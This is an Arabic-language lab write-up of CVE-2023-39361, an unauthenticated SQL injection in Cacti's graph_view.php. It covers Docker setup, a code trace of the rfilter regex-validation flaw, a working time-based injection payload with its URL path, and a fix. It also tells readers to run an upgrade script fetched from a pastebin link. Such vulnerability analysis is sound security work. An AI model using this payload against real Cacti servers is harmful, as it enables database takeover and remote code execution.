
تحليل خطوة بخطوة وإعداد مختبر لـ CVE-2023-39361، حقن SQL غير مصادق عليه في Cacti v1.2.24، مع دليل استغلال وتخفيف.
Cacti هي أداة مراقبة تشغيلية مفتوحة المصدر مكتوبة بلغة PHP وMySQL/MariaDB، وتوفر واجهة سهلة الاستخدام. تم اكتشاف الثغرة الأمنية في عام 2023 والتي أثرت على جميع الإصدارات قبل 1.2.24. يكمن هذا الخلل الأمني في التنفيذ غير السليم عند إدخال القيم في استعلام SQL. هذه ثغرة حقن SQL حرجة تسمح للمهاجمين بـ تعديل قاعدة البيانات وكذلك تنفيذ الأكواد عن بُعد.
في هذا التحليل، سأقوم بتشغيل Cacti في Docker للتبسيط. أولاً، سنقوم بإنشاء ملف docker-compose.yml كما هو موضح أدناه وتشغيل الأمر docker-compose up -d.
version: '3.5'
services:
cacti:
image: "smcline06/cacti"
container_name: CVE-2023-39361
domainname: example.com
hostname: cacti
ports:
- "80:80"
- "443:443"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: CVE-2023-39361_db
domainname: example.com
hostname: db
ports:
- "3306:3306"
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=rootpassword
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
بعد بناء الحاوية، يمكننا الوصول إلى Cacti عن طريق التصفح إلى http://localhost:80. الخطوة التالية هي تحديث Cacti إلى الإصدار 1.2.24. يمكنك تنزيل سكريبت التحديث من هنا: https://pastebin.com/NfRiHLjR. احفظ الملف في نفس الدليل مع ملف docker-compose.yml وأعد تسميته إلى upgrade_cacti.sh. ثم قم بتشغيل هذين الأمرين:
docker cp upgrade_cacti.sh CVE-2023-39361:/tmp/upgrade_cacti.sh && docker exec -it CVE-2023-39361 bash -c "bash /tmp/upgrade_cacti.sh"
الآن نحن جاهزون، دعنا نتعمق في الشفرة لنرى ما حدث الذي سمح لنا بهجوم حقن SQL. الملف المعرض للخطر هو graph_view.php ونحتاج فقط إلى مستخدم ضيف للوصول إلى هذا الملف، مما يؤدي إلى السماح للجميع باستغلال هذه الثغرة. في هذا الملف، الدالة غير الآمنة هي grow_right_pane_tree().

قبل أن نتعمق في هذه الدالة، نحتاج إلى تتبع المسار العكسي لمعرفة كيف يتم تنفيذ الدوال.
<?php
switch (get_nfilter_request_var('action')) {
//....
// حالات أخرى كثيرة
case 'tree_content':
//..... بعض الشيفرات هنا
// ---------
if (isset_request_var('node')) {
$parts = explode('-', sanitize_search_string(get_request_var('node')));
// التحقق من مرساة الشجرة
if (strpos(get_nfilter_request_var('node'), 'tree_anchor') !== false) {
$tree_id = $parts[1];
$node_id = 0;
}
//..... بعض الشيفرات هنا
if ($tree_id > 0) {
if (!is_tree_allowed($tree_id)) {
header('Location: permission_denied.php');
exit;
}
// يتم استدعاء الدالة المعرضة للخطر هنا
grow_right_pane_tree($tree_id, $node_id, $hgdata);
}
من مقتطف الشفرة أعلاه، يمكننا أن نرى أن الدالة سيتم تنفيذها إذا كان $tree_id > 0. يمكن شرح جميع الخطوات على النحو التالي:
أولاً، يقوم البرنامج بأخذ قيمة معامل action من إدخال المستخدم والدخول في جملة switch/case.
في حالة tree_content، تأخذ الشفرة معامل الطلب node من المستخدم. بعد ذلك، تقوم بتقسيم الإدخال بواسطة الحرف -، وحفظه في $part وأخيراً التحقق مما إذا كان tree_anchor موجوداً في node. إذا تم استيفاء جميع الشروط، سيتم تعيين $tree_id كعنصر ثانٍ في $part. على سبيل المثال، tree_content-1 أو 1-2-tree_content ستكون صالحة وستكون قيمة $tree_id على التوالي.
من هذه النقطة، سيبدو عنوان URL الخاص بنا هكذا: http://localhost:80?action=tree_content&node=tree_anchor-1. الآن حان الوقت لتحليل الدالة grow_right_pane_tree() لاستغلال الخلل.

المعامل المعرض للخطر هو rfilter والذي يتم تمريره مباشرة إلى عامل RLIKE داخل جملة WHERE. ما يجعله عرضة للخطر هو أن rfilter محاط بعلامتي اقتباس مزدوجة "، ومع ذلك يتم التحقق من المعامل بواسطة الدالة html_validate_tree_vars()، والتي تبدو هكذا:
function html_validate_tree_vars() {
/* ================= التحقق من الإدخال وتخزين الجلسة ================= */
$filters = array(
// .......
'rfilter' => array(
'filter' => FILTER_VALIDATE_IS_REGEX,
'pageset' => true,
'default' => '',
),
// ..........
);
validate_store_request_vars($filters, 'sess_grt');
/* ================= التحقق من الإدخال ================= */
// ........
}
تم تعيين نوع الفلتر الخاص بـ rfilter إلى FILTER_VALIDATE_IS_REGEX وتخزينه داخل $filters، ثم يتم تمرير $filter إلى الدالة validate_store_request_vars(). دعنا نتعمق في هذه الدالة، سيكشف هذا باقي تحليلنا:
function validate_store_request_vars($filters, $sess_prefix = '') {
// .......
if (cacti_sizeof($filters)) {
foreach($filters as $variable => $options) {
// ....
elseif ($options['filter'] == FILTER_VALIDATE_IS_REGEX) {
if (is_base64_encoded($_REQUEST[$variable])) {
$_REQUEST[$variable] = base64_decode($_REQUEST[$variable]);
}
$valid = validate_is_regex($_REQUEST[$variable]);
if ($valid === true) {
$value = $_REQUEST[$variable];
} else {
$value = false;
$custom_error = $valid;
}
}
// ........
function validate_is_regex($regex) {
// ........
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
الدالة validate_store_request_vars() مسؤولة عن التحقق من صحة إدخال المستخدم. عندما يكون نوع filter هو FILTER_VALIDATE_IS_REGEX، تستدعي الدالة validate_is_regex() مع الدالة preg_match للتحقق مما إذا كان إدخالنا صالحاً. وفقاً لوثائق PHP:
preg_match() ترجع 1 إذا كان
النمطيطابقالموضوعالمحدد، و0 إذا لم يطابق، أو false عند الفشل.
تستخدم جملة if مقارنة صارمة مما يعني أنه فقط عند حدوث خطأ لا يمكننا الدخول إلى جملة if. إن $regex، وهو إدخالنا، محاط بين علامتي اقتباس مفردة '. كان نية المطورين تجنب قيام المستخدم بحقن علامة الاقتباس المفردة '، والتي غالباً ما تستخدم لبدء هجوم حقن SQL. يبدو هذا وكأنه تنفيذ أمني قوي، لكن دعنا نلقي نظرة مرة أخرى على كيفية تمرير rfilter إلى جملة WHERE:
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
آه، لقد أصبح جهد التحقق من صحة إدخال المستخدم بلا معنى حيث أن rfilter محاط بعلامات اقتباس مزدوجة "، مما يسمح للمهاجمين بحقن " بسهولة للخروج من الجملة.
بعد أن فهمنا لماذا هي عرضة للخطر، سنتعمق الآن في الاستعلام حيث يتم تمرير $sql_where إليه.

بعد تعيين $sql_where، سيقوم البرنامج باستدعاء الدالة get_allowed_tree_header_graphs(). ستبدو الدالة هكذا:
function get_allowed_tree_header_graphs($tree_id, $leaf_id = 0, $sql_where = '', $sql_order = 'gti.position', $sql_limit = '', &$total_rows = 0, $user_id = 0) {
// ......
if ($sql_where != '') {
$sql_where = " AND ($sql_where)";
}
$sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id)" . $sql_where;
$graphs = db_fetch_assoc("SELECT gti.id, gti.title, gtg.local_graph_id, h.description, gt.name AS template_name, gtg.title_cache, gtg.width, gtg.height, gl.snmp_index, gl.snmp_query_id
FROM graph_templates_graph AS gtg
INNER JOIN graph_local AS gl
ON gl.id = gtg.local_graph_id
INNER JOIN graph_tree_items AS gti
ON gti.local_graph_id = gl.id
LEFT JOIN graph_templates AS gt
ON gt.id = gl.graph_template_id
LEFT JOIN host AS h
ON h.id = gl.host_id
$sql_where
$sql_order
$sql_limit");
$sql = "SELECT COUNT(*)
FROM graph_templates_graph AS gtg
INNER JOIN graph_local AS gl
ON gl.id=gtg.local_graph_id
INNER JOIN graph_tree_items AS gti
ON gti.local_graph_id=gl.id
LEFT JOIN graph_templates AS gt
ON gt.id=gl.graph_template_id
LEFT JOIN host AS h
ON h.id=gl.host_id
$sql_where";
$total_rows = get_total_row_data($user_id, $sql, array(), 'graph');
return $graphs;
}
هذا هو المكان الذي يتم فيه تمرير $sql_where إلى استعلام. لاحظ أن المتغير يتم تعيينه مرتين أخريين قبل تمريره، وهما $sql_where = " AND ($sql_where)"; و $sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id)" . $sql_where;. بالدمج مع التعيين الأول، هكذا يتم إنشاء $sql_where في النهاية:
$sql_where .= ' (gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '")';
$sql_where = " AND ($sql_where)";
$sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id)" . $sql_where;
بعد هذه التعيينات الثلاثة، سيبدو $sql_where هكذا:
$sql_where = "WHERE (gti.graph_tree_id=$tree_id AND gti.parent=$leaf_id) AND ((gtg.title_cache RLIKE "' . get_request_var('rfilter') . '" OR gtg.title RLIKE "' . get_request_var('rfilter') . '"))";
الاستعلام الذي يتم تمرير $sql_where إليه يبدو طاغياً، لكن يمكننا إنشاء استعلام بسيط آخر بهيكل مماثل:
select * from users WHERE (TRUE) AND ((username RLIKE "' get_request_var('rfilter') '" -- شيء خلفه ليس ضرورياً))
لحقن الحمولة بنجاح، نحتاج إلى الخروج من " و )). لذلك، قد تعمل هذه الحمولة "));SELECT SLEEP(5) --. ستبدو حمولتنا هكذا، select * from users WHERE (TRUE) AND **((username RLIKE "'"));SELECT SLEEP(5) --. يبدو جيداً! لنجربها على Cacti

السبب في أن الخادم لم ينتظر لمدة ثانيتين هو أننا تسببنا في خطأ في الدالة preg_match(). دعنا ننظر إلى الدالة مرة أخرى
if (@preg_match("'" . $regex . "'", NULL) !== false) {
ini_set('track_errors', $track_errors);
return true;
}
ستأخذ هذه الدالة إدخالنا كـ تعبير منتظم. والحرف ) يستخدم لتجميع مجموعة من الأحرف. نظراً لأنه غير مغلق، فقد أعادت الدالة خطأ. من ناحية أخرى، إذا جربنا "(());SELECT SLEEP(5) --، لا يمكننا الخروج من (( من استعلام SQL. ومع ذلك، هناك خدعة هنا، وهي "OR"(("));SELECT SLEEP(5) --. اسمح لي أن أشرح ذلك، لقد قمت بتغليف (( بين علامتي اقتباس مزدوجة لجعلها سلسلة في استعلام SQL واستخدام OR لمطابقة username قبلها. ثم، علامة الاقتباس المزدوجة " في التعبير المنتظم، تعتبر مجرد حرف عادي، ولهذا يمكننا الاستفادة من هذه الميزة للخروج من استعلام SQL.

بناءً على وقت الاستجابة، يمكننا التأكد من أننا نجحنا في حقن SQL في قاعدة البيانات. هذه ثغرة حقن SQL حرجة. يمكن للمهاجم استغلال هذا الخلل للتحكم في حساب المسؤول أو حتى تنفيذ أوامر عن بُعد.
كالعادة، تحدث ثغرات الحقن بشكل عام بسبب غياب التحقق من صحة الإدخال. ومع ذلك، في هذه الحالة، طبق المطورون عمليات التحقق، ولكن بشكل غير صحيح. لإصلاح ذلك، نقوم ببساطة بتغليف المعامل rfilter داخل علامة الاقتباس المفردة ' بدلاً من علامة الاقتباس المزدوجة "

مع هذا الإصلاح البسيط، سيعمل جهد التحقق من صحة إدخال المستخدم بشكل صحيح الآن. لنجرب الحمولة مرة أخرى لنرى إذا كانت لا تزال عرضة للخطر.

مع نفس الحمولة ولكن الآن الاستجابة سريعة حقاً، مما يعني أنه لا يمكننا حقن أمر SQL بعد الآن.
من تحليل CVE هذا، يمكننا أن نتعلم أنه حتى الخطأ البسيط يمكن أن يؤدي إلى نتيجة كارثية. يجب علينا مراجعة الشفرة بعناية واختبار موقعنا بشكل متكرر لجعله أكثر أماناً. هذه نهاية التحليل، أتمنى أن تكون قد تعلمت شيئاً مفيداً اليوم. اختراق سعيد!